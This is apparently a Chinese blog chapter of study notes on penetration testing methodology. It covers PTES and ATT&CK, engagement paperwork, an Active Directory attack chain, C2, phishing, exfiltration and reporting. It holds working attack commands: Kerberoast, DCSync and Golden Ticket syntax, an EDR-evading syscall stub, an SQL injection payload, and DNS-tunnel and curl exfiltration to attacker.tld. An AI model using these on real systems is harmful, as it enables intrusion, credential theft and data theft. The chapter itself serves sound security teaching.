mobile wallpaper 1mobile wallpaper 2mobile wallpaper 3mobile wallpaper 4mobile wallpaper 5mobile wallpaper 6mobile wallpaper 7mobile wallpaper 8mobile wallpaper 9mobile wallpaper 10mobile wallpaper 11mobile wallpaper 12mobile wallpaper 13
5200 字
16 分鐘
渗透测试方法论
2026-04-27

第 8 章 渗透测试方法论#

8.1 学习目标#

  1. 理解渗透测试的目的、价值、合规与伦理边界,区分它与漏洞扫描、红队演练、SOC 演练的差别。
  2. 掌握主流方法论:PTES、OWASP WSTG、NIST SP 800-115、OSSTMM、MITRE ATT&CK
  3. 能编写完整的 SOW(工作说明书)/ Rules of Engagement / 授权书 等前置文件。
  4. 会按阶段(侦察 → 武器化 → 投递 → 利用 → 后渗透 → 行动 → 报告)组织一次完整的攻击行动。
  5. 熟悉典型攻击链:外网 Phishing → AD → 域控;外网 Web → 内网横向 → 数据外带。
  6. 写出符合甲方 + 监管 + 法律要求的报告:技术细节 + 风险评级 + 修复建议。

能力矩阵

能力域入门进阶精通
流程跟随 PTES 7 步写 SOW / RoE / 报告设计紫队联动闭环
攻击单点漏洞链式攻击红队周期项目
工具metasploit + nmapC2 (Sliver/Cobalt Strike)自研武器(loader / OPSEC 工具)
输出漏洞列表攻击叙事 + 修复Threat-informed defense + 紫队

8.2 渗透测试 vs 红队 vs 漏洞评估#

维度漏洞评估渗透测试红队演练
目标找尽量多漏洞验证可被利用、入侵到什么程度测试组织检测/响应/恢复能力
范围广而浅中等深度类真实攻击者
时间1–2 周2–4 周数周到数月
工具自动化扫描器手工 + 脚本 + C2全武器库 + 自研
隐蔽性不在意中等隐蔽优先
报告漏洞列表攻击叙事 + 修复建议TTP 复盘 + 蓝队差距
紫队结合较少中等必须

8.3 主流方法论对比#

8.3.1 PTES(Penetration Testing Execution Standard)#

7 阶段:

1. Pre-engagement Interactions 前期沟通
2. Intelligence Gathering 情报收集
3. Threat Modeling 威胁建模
4. Vulnerability Analysis 漏洞分析
5. Exploitation 漏洞利用
6. Post-Exploitation 后渗透
7. Reporting 报告输出

每阶段都有 可交付物(详见 §8.5)。

8.3.2 OWASP WSTG(Web Security Testing Guide)#

4.x 版本,针对 Web 应用 的标准化测试用例集合,按 11 个类别 + 编号:

WSTG-INFO-XX 信息收集
WSTG-CONF-XX 配置与部署
WSTG-IDNT-XX 身份管理
WSTG-ATHN-XX 认证
WSTG-ATHZ-XX 授权
WSTG-SESS-XX 会话管理
WSTG-INPV-XX 输入验证
WSTG-ERRH-XX 错误处理
WSTG-CRYP-XX 加密
WSTG-BUSL-XX 业务逻辑
WSTG-CLNT-XX 客户端
WSTG-API-XX API

适合 Web 项目的渗透测试 checklist。

8.3.3 NIST SP 800-115#

美国 NIST 对信息安全测试与评估的官方指南,分四类:

  • 评估 (Review)
  • 识别 (Identification & Analysis)
  • 验证 (Target Vulnerability Validation)
  • 渗透测试 (Penetration Testing)

附录:测试技术、规划要素、报告模板。

8.3.4 OSSTMM 3.0#

ISECOM 的”开源安全测试方法手册”,6 通道:

  • Human Security
  • Physical Security
  • Wireless Security
  • Telecommunications Security
  • Data Networks Security
  • Compliance Security

提出RAV(Risk Assessment Value) 量化指标。

8.3.5 MITRE ATT&CK#

不是测试方法,而是攻击者 TTP 知识库。当前 14 个战术:

Tactic含义
Reconnaissance侦察
Resource Development资源准备
Initial Access初始访问
Execution执行
Persistence持久化
Privilege Escalation提权
Defense Evasion防御绕过
Credential Access凭据获取
Discovery发现
Lateral Movement横向移动
Collection收集
Command and ControlC2
Exfiltration数据外带
Impact影响

每个战术下数十个 Technique / Sub-technique,编号 TXXXX(.YYY)

用途#

  • 渗透 / 红队:路径规划与覆盖度自检
  • 蓝队 / 检测工程:检测规则覆盖度评估(Heatmap)
  • 报告:把行动映射到 TXXXX,让甲方看得懂

工具#

  • ATT&CK Navigator:可视化矩阵
  • DeTT&CT / VECTR:检测覆盖度量化
  • Atomic Red Team:每个 TXXXX 的可复现 PoC

8.3.6 Cyber Kill Chain(Lockheed Martin)#

7 阶段(更偏宏观):

Reconnaissance → Weaponization → Delivery → Exploitation
→ Installation → Command & Control → Actions on Objectives

适合战略叙事 / 报告写作。

8.3.7 Unified Kill Chain (Paul Pols)#

把 Cyber Kill Chain + ATT&CK + Mandiant Lifecycle 合并为 18 步链。


8.4 威胁建模#

8.4.1 STRIDE#

Spoofing 伪造身份
Tampering 篡改
Repudiation 抵赖
Information Disclosure 信息泄露
Denial of Service 拒绝服务
Elevation of Privilege 权限提升

针对每个组件 / 数据流问 6 类威胁是否存在。

8.4.2 DREAD(评分)#

Damage 可造成损害
Reproducibility 可复现性
Exploitability 利用难度
Affected Users 受影响用户
Discoverability 可发现性

每项 1–10 分,平均得分作为优先级(已被很多团队弃用,因主观)。

8.4.3 PASTA(Process for Attack Simulation and Threat Analysis)#

7 阶段,强调与业务对齐:

  1. 定义业务目标
  2. 定义技术范围
  3. 应用分解
  4. 威胁分析
  5. 漏洞分析
  6. 攻击建模
  7. 风险/影响分析

8.4.4 OCTAVE / OCTAVE Allegro#

CMU SEI 提出,资产驱动的风险评估方法。

8.4.5 LINDDUN(隐私威胁建模)#

Linkability 可关联
Identifiability 可识别
Non-repudiation 不可抵赖
Detectability 可检测
Disclosure 信息泄露
Unawareness 无知
Non-compliance 不合规

适合 GDPR / PIPL 类的隐私评估。


8.5 PTES 7 阶段细化与可交付物#

8.5.1 Pre-engagement Interactions(前期沟通)#

必含文件#

  • NDA(保密协议)
  • SOW(Statement of Work / 工作说明书)
  • RoE(Rules of Engagement / 行动守则)
  • 授权书(Authorization Letter / “Get Out of Jail” Card)
  • 联系人清单(业务、技术、法务、紧急联系电话)

SOW 关键字段#

1. 项目名称
2. 客户与服务商
3. 范围 (Scope):IP / URL / 应用 / 物理 / 社工
4. 排除项 (Out of Scope)
5. 时间窗
6. 工作量与里程碑
7. 交付物(报告、PoC、汇报会)
8. 收费模式
9. 责任与保险
10. 终止条款

RoE 关键字段#

- 测试方式:黑盒 / 灰盒 / 白盒
- 允许的攻击:DoS / 物理 / 社工 是否允许
- 测试时段:是否含周末 / 夜间
- 应急联系人 + 启动条件(发现实际入侵 / 数据泄露)
- 数据处理:测试数据保留 / 销毁
- 法律依据

授权书模板#

本人 [姓名 + 职务],代表 [公司名称],授权 [乙方公司名称]
对以下系统在 [起始日期] 至 [结束日期] 期间进行渗透测试:
- 系统列表
- IP / URL
本测试已获得 [上级 + 法务] 批准,行使的所有测试行为视为
经合法授权。如执法机构问询请联系 [紧急联系人]。
签字 / 盖章 / 日期

8.5.2 Intelligence Gathering(情报收集)#

详见 Ch06。本章关注与渗透目的对齐

  • 把 OSINT 输出结构化:资产 / 人员 / 凭证 / 技术栈 / 物理位置 / 供应链
  • 排序”低悬果”(low-hanging fruit)
  • 设计”假设清单”:哪些攻击路径最可能成功

8.5.3 Threat Modeling(威胁建模)#

  • 对场景画 STRIDE 表
  • 输出”攻击假设”:例如”通过暴露的 OWA 服务 + 弱密码进入域账号”
  • 可视化:用 OpenSecurityArchitecture / drawio

8.5.4 Vulnerability Analysis(漏洞分析)#

详见 Ch07。本章重点:

  • 不仅要”扫到”,更要”验证”
  • 自动化扫描后必须人工 triage(看输出能否复现)
  • 整理候选利用链

8.5.5 Exploitation(漏洞利用)#

初始访问 (Initial Access) — ATT&CK TA0001#

Technique实例
T1190 Public-Facing AppOWA、VPN、S3 暴露
T1133 External Remote ServicesRDP、SSH、Citrix
T1078 Valid Accounts撞库、密码喷洒
T1566 Phishing邮件 / 短信 / 网页
T1199 Trusted Relationship供应链、SaaS 共享
T1195 Supply Chain Compromise软件投毒

Exploitation 工具#

  • Metasploit Framework:模块化
  • Cobalt Strike / Sliver / Havoc / Mythic:商用 / 开源 C2
  • Empire / PowerShell Empire:PowerShell 后渗透
  • Impacket:协议级(Kerberos / SMB / WMI)
  • BloodHound + SharpHound:AD 路径分析
  • CrackMapExec / NetExec:内网爆破工具集

8.5.6 Post-Exploitation(后渗透)— ATT&CK TA0003-TA0011#

维持访问 (Persistence)#

  • Windows:Service / Scheduled Task / Registry Run / WMI Subscription / GPO
  • Linux:systemd / cron / ~/.bashrc / SSH key / kernel module
  • AD:Golden Ticket / Silver Ticket / Skeleton Key / DCSync key

提权 (Privilege Escalation)#

  • Linux:内核漏洞、SUID 滥用、weak sudo、Capabilities
  • Windows:UAC bypass、令牌窃取(incognito)、unquoted service path、PrintNightmare、HiveNightmare
  • Cloud:IAM 路径、AssumeRole、metadata 服务

横向移动 (Lateral Movement)#

  • Pass-the-Hash / Pass-the-Ticket / Over-Pass-the-Hash
  • DCOM、WinRM、PSExec、WMI exec
  • SSH key 传播

凭据获取 (Credential Access)#

  • LSASS dump(mimikatz / nanodump)
  • DPAPI(保护账号本地凭据)
  • Kerberoast / AS-REP Roast
  • Browser cookies / saved passwords
  • 内存中临时凭据

发现 (Discovery)#

  • net view / net group “Domain Admins”
  • BloodHound 收集
  • arp / route / ipconfig
  • WMIC for installed software

数据外带 (Exfiltration)#

  • HTTPS POST 加密文件 (rclone / megacmd)
  • DNS 隧道(dnscat2、iodine)
  • ICMP 隧道
  • Cloud(Dropbox / OneDrive)
  • 隐写(图像、PDF)

8.5.7 Reporting(报告)#

详见 §8.10 完整模板。


8.6 完整 AD 攻击链实战(场景化)#

Step 0 外网钓鱼邮件 T1566 Phishing
│ 钓鱼站 + Office macro / .lnk → 反弹 shell
Step 1 Foothold T1059 Command & Scripting
│ 某员工电脑 → Cobalt Strike beacon
Step 2 本地侦察 T1083 / T1057 / T1518
│ whoami /all ipconfig wmic process
Step 3 本地提权 T1068 / T1548
│ PrintSpoofer / 驱动漏洞 / 漏配置
Step 4 Active Directory 收集 T1087 / SharpHound
Step 5 横向 → 服务器 T1021 / T1550
│ Pass-the-Hash / SMB 共享 / WinRM
Step 6 Kerberoast T1558.003
│ 拿到服务账号 hash → hashcat 离线爆破
Step 7 Domain Admin T1003.006 / T1133
│ 利用上一步获取的高权限账号 SecretsDump 或 DCSync
Step 8 Persistence T1136 / T1098
│ Golden Ticket / Skeleton Key / DCShadow
Step 9 数据外带 + 清理痕迹 T1041 / T1070

8.6.1 BloodHound Cypher 查询样例#

// 找最短路径到 Domain Admins
MATCH p=shortestPath((u:User)-[*1..]->(g:Group {name:'DOMAIN ADMINS@CORP.LOCAL'}))
RETURN p LIMIT 25
// 高价值用户 Kerberoastable
MATCH (u:User {hasspn: true})
WHERE u.enabled = true
RETURN u.name, u.serviceprincipalnames
// 哪些用户是 ASREPRoastable
MATCH (u:User {dontreqpreauth: true, enabled: true})
RETURN u.name
// 谁拥有 GenericAll 在域控对象上
MATCH (u)-[r:GenericAll]->(c:Computer {domain:'CORP.LOCAL', primarygroupid: 516})
RETURN u.name, type(r), c.name

8.6.2 Kerberoast PoC#

# 拿任意域用户即可
# Impacket
GetUserSPNs.py -request -dc-ip 10.0.0.1 CORP/alice:'Password1!'
# 离线破解
hashcat -m 13100 spn.hash rockyou.txt

8.6.3 DCSync PoC(Mimikatz)#

lsadump::dcsync /domain:corp.local /user:krbtgt

需要”Replicating Directory Changes” 权限;拿到 krbtgt hash 后即可 Golden Ticket。

8.6.4 Golden Ticket 构造#

kerberos::golden /user:Administrator /domain:corp.local
/sid:S-1-5-21-XXX /krbtgt:<hash> /ticket:gold.kirbi /ptt

票据有效期可任意伪造(默认 10 年),不与域控验证(除非启用 KDC 验证)。

8.6.5 ADCS 利用(ESC1–ESC8)#

ESC描述
ESC1模板允许 Subject 替换 + 客户端身份认证
ESC2Any Purpose EKU 模板
ESC4模板权限错误
ESC6EDITF_ATTRIBUTESUBJECTALTNAME2 标志
ESC8NTLM Relay → Web Enrollment(“Certifried”)

工具:Certify、Certipy、ADCSPwn。


8.7 C2 框架与 OPSEC#

8.7.1 主流 C2#

框架语言特点
Cobalt StrikeJava + Beacon商业、特征公开多
SliverGo开源、跨平台、Mu/iaTLS / DNS / WG 多协议
MythicPython + Docker多 Agent / 多语言(Apollo .NET、Apfell macOS、Poseidon Go)
HavocC++ Demon较新、活跃维护
Empire 5.0Python / PowerShell后渗透
Brute RatelC/Rust商业、强 OPSEC

8.7.2 Beacon 流量特征#

  • 默认 sleep + jitter(5s × 30%)容易被识别
  • HTTP GET / POST 路径默认 __cfduid
  • TLS 证书自签 / SAN 默认值
  • JA3 指纹固定

8.7.3 Malleable C2 Profile(Cobalt Strike)#

http-get {
set uri "/api/v2/tasks";
client {
header "Accept" "*/*";
metadata {
base64url;
prepend "session=";
header "Cookie";
}
}
server {
header "Content-Type" "application/json";
output {
base64url;
print;
}
}
}

可定制看起来像 Slack / GitHub API 流量。

8.7.4 防御规避(Defense Evasion)#

  • AMSI bypass(patch AmsiScanBuffer
  • ETW patching(disable Microsoft-Windows-PowerShell ETW)
  • LSASS 读取规避:直接 syscall(Hells Gate / Halos Gate / Tartarus Gate)
  • COM Hijacking
  • 进程注入新方式:Process Hollowing / Doppelgänging / Herpaderping / Ghosting
  • 利用合法签名工具 LotL(PowerShell、wmic、certutil、msbuild、bitsadmin)

8.7.5 直接 Syscall(绕 EDR Userland Hook)#

// Syswhispers3 / Hell's Gate 方案
EXTERN_C NTSTATUS NtAllocateVirtualMemory(...);
__asm {
mov r10, rcx
mov eax, 0x18 ; syscall number
syscall
ret
}

绕过 EDR 在 ntdll.dll 上的 inline hook。

8.7.6 OPSEC 原则#

  • 一次行动一个化身(命名 / 时间 / 工具一致)
  • 不在沙箱测试线上 payload(避免上传 VirusTotal)
  • 不复用 C2 域 / 证书
  • 流量分层(Beacon → Redirector → C2 server)
  • 时间窗:与目标作息错开
  • 数据外带前压缩 + 加密 + 限速

8.8 钓鱼与社会工程#

8.8.1 邮件钓鱼链#

1. 选取目标(OSINT)
2. 设计内容(内部题材 + 时效紧迫)
3. 构造发件域(仿冒 + DKIM/SPF/DMARC)
4. 制作有效负载(Office macro / .lnk / HTML smuggling / PDF)
5. 投递与跟踪(GoPhish / King Phisher)
6. 凭证或植入回收
7. 后续利用

8.8.2 工具#

  • GoPhish:免费开源邮件钓鱼平台
  • EvilGinx2:透明代理钓鱼,绕过 MFA(劫持 session cookie)
  • Modlishka:类似 EvilGinx
  • King Phisher

8.8.3 EvilGinx 关键概念#

  • “Phishlet”:定义目标登录站点的代理规则
  • 拿到的不是密码,而是 session cookie,可直接登录
  • 完美绕过 TOTP 与短信 MFA(FIDO2 / Passkey 防御)

8.8.4 社工原则(Mitnick)#

  1. 信任建立
  2. 紧迫感
  3. 权威效应
  4. 互惠
  5. 一致性偏差

防御:员工教育 + 多通道核验 + Process(不通过电话改密码)

8.8.5 物理社工#

  • Tailgating(尾随进门)
  • USB drop(带毒 U 盘)
  • 假冒维修 / 快递 / 清洁
  • RFID / HID 卡复制(Proxmark3)

8.9 数据外带(Exfiltration)#

8.9.1 通道#

通道工具
HTTPScurl / rclone / megacmd
DNSdnscat2 / iodine
ICMPptunnel / icmpsh
邮件SMTP 附件 / WebDAV
云盘Dropbox / OneDrive / S3
蓝牙 / Wi-Fi物理临近
隐写LSB 图像 / steghide

8.9.2 常用 PoC#

# DNS 隧道(限速 + 分块)
split -b 200 secret.tar.gz part_
for f in part_*; do
d=$(base32 < $f | tr -d '=\n' | head -c 60)
dig $d.attacker.tld @attacker_dns
done
# HTTPS 上传(带 OPSEC headers)
curl -X POST -T data.zip \
-H "Content-Type: application/octet-stream" \
-H "User-Agent: Mozilla/5.0 ..." \
https://cdn.example/upload
# 限速避免触发 NetFlow 异常
rclone copy --bwlimit 1M secret/ remote:bucket/

8.9.3 蓝队检测#

  • Suricata / Zeek 检测异常 DNS(高熵 / 长子域 / 不在白名单)
  • DLP 检测特定关键字
  • DNS QPS 突变告警
  • 数据出网量异常

8.10 报告模板(中英双语)#

8.10.1 结构#

封面(公司 LOGO + 项目名 + 版本 + 机密级别)
─────────────────────────────────────
执行摘要 (Executive Summary)
- 项目目标
- 关键发现 (Top 3 / 5)
- 风险评级
- 修复优先级与时间线建议
测试范围与方法论 (Scope & Methodology)
- 范围(IP / URL / 应用)
- 排除项
- 时间窗
- 方法论(PTES / WSTG / NIST / ATT&CK)
技术细节 (Technical Details)
- 每个漏洞独立小节:
1. 标题与编号
2. 风险等级(Critical/High/Medium/Low)
3. CVE / CWE 引用
4. 描述与影响
5. 复现步骤(截图 + 请求/响应 / 命令输出)
6. PoC 代码 / 脚本
7. 修复建议(短期 + 长期)
8. 参考资料
攻击叙事 (Attack Narrative)
- 时间线(Day 1 / Day 2 ...)
- 关键节点 + ATT&CK Mapping
风险评估与建议 (Risk Assessment)
- 短期 (≤30 天)
- 中期 (≤90 天)
- 长期 (>90 天)
- 优先级矩阵
附录 (Appendix)
- 工具与版本
- 资产清单
- 详细日志
- 词汇表

8.10.2 漏洞描述写作要点#

  • 客观:不夸大,不模糊
  • 可复现:截图 + 命令 + 时间戳
  • 可修复:修复建议必须具体(哪行代码 / 哪个配置)
  • 风险定级:CVSS + 业务影响
  • 避免技术误解:写给 CISO 也能看懂

8.10.3 中英双语示例(漏洞条目)#

### 5.2 SQL Injection in /api/v1/orders (id 参数)
**严重级别 / Severity**:High
**CWE**:CWE-89 / SQL Injection
**CVSS v3.1**:8.6 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N)
**描述 / Description**
The `/api/v1/orders` endpoint concatenates the `id` parameter into a SQL
query without parameterization, allowing UNION-based injection to read
arbitrary tables.
**复现 / Reproduction**
Request:

GET /api/v1/orders?id=1’ UNION SELECT 1,2,user(),version()— HTTP/1.1 Host: target.com Authorization: Bearer …

Response excerpt: `... "name":"root@%, 8.0.30" ...`
**影响 / Impact**
攻击者可读取数据库任意表,包括 `users`、`payments`,导致大规模数据泄露。
**修复 / Remediation**
- 短期:上线 WAF 拦截规则匹配 `'\sUNION` 等模式
- 中期:改用 PreparedStatement / 参数化查询
- 长期:在 ORM 层强制只用绑定变量
**参考 / References**
- OWASP Cheat Sheet: <https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html>

8.10.4 工具清单(Pandoc → PDF)#

pandoc report.md -o report.pdf \
--template=eisvogel.latex \
--toc --number-sections \
-V titlepage=true -V toc-own-page=true \
-V mainfont="Times New Roman" \
-V CJKmainfont="Source Han Serif SC"

8.11 紫队演练与持续验证#

8.11.1 紫队的本质#

  • 红 + 蓝在同一桌
  • 红队执行 TTP,蓝队同时观察告警 / 响应
  • 每个 TTP → 是否检测 → 是否拦截 → 修复差距
  • 最终输出 ATT&CK 覆盖热力图

8.11.2 工具#

  • Atomic Red Team:每个 TXXXX 一个 Atomic
  • CALDERA:MITRE 出品,自动化红队
  • VECTR:紫队跟踪平台
  • PurpleSharp

8.11.3 持续紫队(Continuous Purple Teaming)#

  • 每月跑一遍 Atomic Red Team Top 50
  • 把 Sigma 规则覆盖度作为 KPI
  • 与 SOC 工单系统打通:每个未检测的 TTP → 自动开 Jira

8.12 真实复盘#

8.12.1 SolarWinds / SUNBURST(APT29)#

链路:

  1. 入侵 SolarWinds 构建系统
  2. 在 Orion 软件中植入 SUNBURST DLL
  3. 18,000 客户更新即被感染
  4. 选择性激活:检查域名 / 域控前缀
  5. C2:DNS 隐藏在 avsvmcloud.com 子域

经验:

  • 供应链是当前最难防御的层
  • 自家 build 系统必须有完整性证明(reproducible builds)
  • SBOM + Sigstore 可缓解

8.12.2 Lazarus 的 3CX 供应链#

链路:

  1. 入侵 Trading Technologies
  2. 投毒下游 3CX 客户端
  3. 影响数千企业
  4. macOS / Windows 双平台

经验:MoTW(Mark of The Web)+ 代码签名监控很关键。

8.12.3 HAFNIUM ProxyLogon#

链路:

  1. CVE-2021-26855 SSRF → 拿任意 mailbox
  2. CVE-2021-27065 写文件 → 部署 webshell(China Chopper)
  3. 横向 → 域控

经验:暴露在公网的 Exchange / OWA 必须最快速度补丁,配合 EDR 对 webshell 检测。

8.12.4 Costa Rica Conti 勒索#

2022 年 Conti 攻击哥斯达黎加政府,几周内瘫痪国家关键服务。链路:

  1. 钓鱼 → Cobalt Strike
  2. 内网横向 → 部署 ESXi 加密器
  3. 双重勒索(数据 + 加密)

经验:勒索 = 渗透链的”终点”,前面任何环节都是阻断窗口。


8.13 法律与伦理#

8.13.1 中国法律#

  • 《刑法》第 285 条:非法侵入计算机信息系统罪
  • 《网络安全法》:未经授权对关键信息基础设施测试违法
  • 《数据安全法》《个人信息保护法》

8.13.2 美国 / 欧洲#

  • CFAA(美国)
  • GDPR / NIS2(欧盟)

8.13.3 行业认证#

  • OSCP / OSEP / OSED(Offensive Security 系列)
  • CEH(EC-Council)
  • PNPT(TCM Security)
  • CRTO / CRTL(Zero-Point Security 红队)
  • CRTP / CRTE(Altered Security AD 渗透)
  • CISSP / CISM(管理向)

8.13.4 道德原则#

  • 仅在授权范围内行动
  • 发现真实数据泄露 → 立刻停止 + 通知客户
  • 不带走任何客户数据
  • 报告中脱敏所有真实凭据
  • 测试结束后销毁工具与中间产物

8.14 练习题#

  1. 设计一份完整 SOW 模板,覆盖至少 12 个字段。
  2. 给出 ATT&CK TA0001 下 5 个常见 Initial Access Technique,及对应防御控制。
  3. BloodHound Cypher:找到一条从普通用户到 Enterprise Admin 的路径。
  4. 编写一段 Python 钓鱼邮件发送脚本(仅在合规靶场使用)。
  5. 用 Cobalt Strike Malleable C2 Profile 写一段模拟 Slack 流量的配置。
  6. 解释 Pass-the-Hash 与 Pass-the-Ticket 的差异,并举例适用场景。
  7. 写一段 Sigma 规则检测 lsass.exe 被异常进程读取。
  8. 设计一个紫队演练流程,覆盖 ATT&CK 12 个战术。
  9. 用 Atomic Red Team 验证一个 TXXXX,并记录蓝队检测情况。
  10. 写一份”高级持续威胁”年度复盘报告大纲(针对你假想的某 APT)。

参考答案要点#

  1. T1190 + WAF / Patch、T1133 + MFA、T1078 + 撞库防护、T1566 + DMARC + 人员培训、T1199 + 零信任供应链
  2. PtH = NTLM hash 直接挂载;PtT = Kerberos TGT/TGS 复用;前者更通用,后者更隐蔽 + 可绕过 LM 禁用环境

8.15 面试高频考点(附参考答案)#

Q1:渗透测试与漏洞扫描的本质差异?

  • 漏洞扫描发现潜在弱点;渗透测试验证利用并演示影响。

Q2:MITRE ATT&CK 在企业安全建设中如何应用?

  • 既是攻击者画像,也是防御覆盖度自检;可量化 SOC 检测能力(Sigma 规则到战术的映射)。

Q3:什么是 Living-off-the-Land (LotL)?

  • 利用系统自带合法二进制(PowerShell / wmic / certutil)执行恶意行为,规避 AV 文件查杀。

Q4:Pass-the-Hash 为什么不能完全杜绝?

  • NTLM 协议本身设计:客户端用 hash 与服务端挑战做响应;只要 hash 在内存可被 dump 就难根除;建议 Credential Guard + 禁用 NTLM。

Q5:Domain Admin 与 Enterprise Admin 的差别?

  • DA 控制单域;EA 控制整个森林(含跨域 Trust);红队若拿到 EA 可以横向跨子域。

Q6:Golden Ticket 与 Silver Ticket 区别?

  • Golden = krbtgt hash 签发的 TGT(控制整个域);Silver = 服务账号 hash 签发的 TGS(仅控制特定服务)。Silver 更隐蔽。

Q7:DCShadow 与 DCSync 区别?

  • DCSync 模拟域控请求复制;DCShadow 临时把自己注册成域控写入恶意更改后注销。DCShadow 更难检测。

Q8:渗透测试报告里”风险等级”如何确定?

  • CVSS Base + 业务上下文调整(资产价值 / 数据敏感度 / 触发条件复杂度)。

Q9:紫队演练结果如何转化为蓝队改进项?

  • 每个未检测 TTP → 写 Sigma 规则;每个未拦截 TTP → 调整 EDR / WAF 配置;持续度量。

Q10:客户对你说”不要测试 IDS/IPS,会触发告警”,怎么应对?

  • 这违反 PTES 精神;建议以紫队形式协同,而不是隐藏;如客户坚持,写入 RoE 并在报告中标注此限制对结果的影响。

8.16 延伸阅读#

教材#

  • 《The Hacker Playbook 3》Peter Kim
  • 《Red Team Field Manual (RTFM)》Ben Clark
  • 《Blue Team Field Manual (BTFM)》Alan White
  • 《Advanced Penetration Testing》Wil Allsopp
  • 《The Pentester BluePrint》Phillip Wylie

标准 / 参考#

论文 / 报告#


8.17 小结#

渗透测试是有目标、有约束、有产出的攻击模拟

  • 方法论保证可重复:PTES / WSTG / NIST / ATT&CK
  • 法律保证安全:SOW / RoE / 授权书
  • 链式攻击思维:单点漏洞不够,能串成完整故事才是价值
  • 报告即产品:写得让 CISO 与开发都能行动
  • 与防御共进化:紫队是未来主流,红队不是为了”赢”,是为了让蓝队变强

与其他章节的接口#

  • ← Ch06:OSINT 输入
  • ← Ch07:扫描候选漏洞
  • → Ch09:二进制利用细节
  • → Ch10:取证视角看红队留痕
  • → Ch11:蓝队对每个战术的检测响应
  • → Ch12:云 / 移动 / AI 场景的特殊路径

个人精进路径建议#

  1. 基础:HTB / THM Track 走完,OSCP 过 ✅
  2. AD:CRTP → CRTE → CRTL,掌握全链路
  3. C2:自己写一个简易 C2(HTTP + AES 通信)→ 加 DNS / WG 通道
  4. OPSEC:研究 EDR 内部,写自己的 loader / shellcode runner
  5. 业务:参与公司紫队 / SRC 程序,把 ATT&CK 覆盖度做到 80%+
  6. 报告:每个项目写完报告自己念三遍,能让父母听懂的才是好报告

完成本章后,你应当具备独立主导一次为期 2 周的渗透测试的能力。

实操项目建议#

  • Project A(Web 应用):搭建 OWASP Juice Shop / DVWA / WebGoat,按 OWASP WSTG 顺序覆盖 11 类用例,输出 Markdown 报告
  • Project B(AD 实验室):用 GOAD(Game of Active Directory)/ CyberMonk Lab 搭建 3 域森林,跑通 Kerberoast → DCSync → Golden Ticket 完整链路
  • Project C(C2 自研):用 Go / Rust 写一个最小 C2,含 HTTP + AES 通信、命令分发、心跳;扩展 DNS 通道
  • Project D(紫队闭环):选 5 个 Atomic Red Team 用例 → 在自己实验室运行 → 部署 Sysmon + Sigma 规则 → 验证检测覆盖度 → 写差距报告
  • Project E(报告写作):参考 OSCP 报告模板,写一份”蓄意复杂”的双语渗透报告,找朋友(非安全背景)通读,确保可读性

自检评估表#

能力入门进阶精通
项目流程跟随模板独立编 SOW / RoE主导跨部门项目
AD 攻击Kerberoast 一次全链路通关写工具 / 红队培训
C2 操作用 Cobalt Strike beacon写 Profile / 自定义 sleep自研 C2 / loader
钓鱼GoPhish 一次EvilGinx 绕 MFA自研 phishlet + OPSEC
报告漏洞清单双语 + ATT&CK MappingCISO 级别叙事

如全部勾上”精通”,可冲击 OSEP / OSEE / CRTL 等高级认证。

学习节奏#

  • 第 1–2 周:跑通 PTES 全流程,做一次 Web 项目
  • 第 3–4 周:AD 实验室 + BloodHound 深入
  • 第 5–6 周:C2 框架对比 + 自写 loader
  • 第 7–8 周:紫队闭环 + 报告写作精修
  • 持续:跟踪 ATT&CK 更新、SpecterOps / Mandiant / DFIR Report 博客

至此 Batch 2 完成;Ch09 起进入更底层的二进制 / 取证 / 蓝队 / 云移 AI 专题。

附录 A:常用 Cheat Sheet#

A.1 Linux 提权快查#

sudo -l # 当前可 sudo 的命令
find / -perm -4000 2>/dev/null # SUID 二进制
getcap -r / 2>/dev/null # 文件能力
crontab -l ; cat /etc/crontab # 计划任务
ps -ef --forest | head -50 # 进程树(看 root 子进程)
cat /etc/passwd | grep -v nologin
mount | grep -E 'rw|exec'
uname -a ; hostnamectl ; lsb_release -a # 内核 / 发行版
ss -tulpn # 监听端口

A.2 Windows 信息搜集#

Terminal window
whoami /all
systeminfo
net user /domain
net group "Domain Admins" /domain
Get-ADUser -Filter * -Properties * | Select Name,LastLogonDate
Get-ADGroupMember "Domain Admins"
Get-NetLocalGroupMember -GroupName Administrators
icacls "C:\Program Files\App" # 文件权限
sc query state= all # 服务列表

A.3 端口转发 / 隧道#

# SSH 本地端口转发
ssh -L 8080:internal:80 user@jump
# SSH 反向端口转发(被攻陷主机 → 攻击者)
ssh -R 4444:127.0.0.1:80 attacker@vps
# SOCKS5
ssh -D 1080 user@jump
proxychains nmap -sT 10.10.10.0/24
# Chisel (HTTP/WS 隧道)
chisel server -p 8000 --reverse
chisel client http://attacker:8000 R:1080:socks

A.4 Hashcat / John 速查#

hashcat -m 0 hash.txt rockyou.txt # MD5
hashcat -m 1000 hash.txt rockyou.txt # NTLM
hashcat -m 5600 hash.txt rockyou.txt # NetNTLMv2
hashcat -m 13100 hash.txt rockyou.txt # Kerberoast
hashcat -m 18200 hash.txt rockyou.txt # AS-REP Roast
hashcat -m 1800 hash.txt rockyou.txt # sha512crypt
hashcat -m 16500 jwt.txt rockyou.txt # JWT HS256
# 规则
hashcat ... -r /usr/share/hashcat/rules/best64.rule

A.5 历史渗透链中常见 CVE#

CVE用途
CVE-2014-6271Shellshock,外网 RCE
CVE-2017-0144EternalBlue,SMBv1 RCE → 横向
CVE-2020-1472Zerologon,未鉴权拿域控
CVE-2021-1675 / CVE-2021-34527PrintNightmare,本地 / 远程 SYSTEM
CVE-2021-42278 / CVE-2021-42287sAMAccountName Spoofing → DA
CVE-2022-26923ADCS ESC9 / ESC10
CVE-2023-23397Outlook 触发 NTLM 中继
CVE-2023-46214Splunk RCE 用作内网横向

至此本章正式完结,准备进入 Ch09。

分享

如果這篇文章對你有幫助,歡迎分享給更多人!

渗透测试方法论
https://lemusakuya.com/posts/study-notes/network-security/08_渗透测试方法论/
作者
レム・咲く夜
發布於
2026-04-27
許可協議
CC BY-NC-SA 4.0

部分資訊可能已經過時

目錄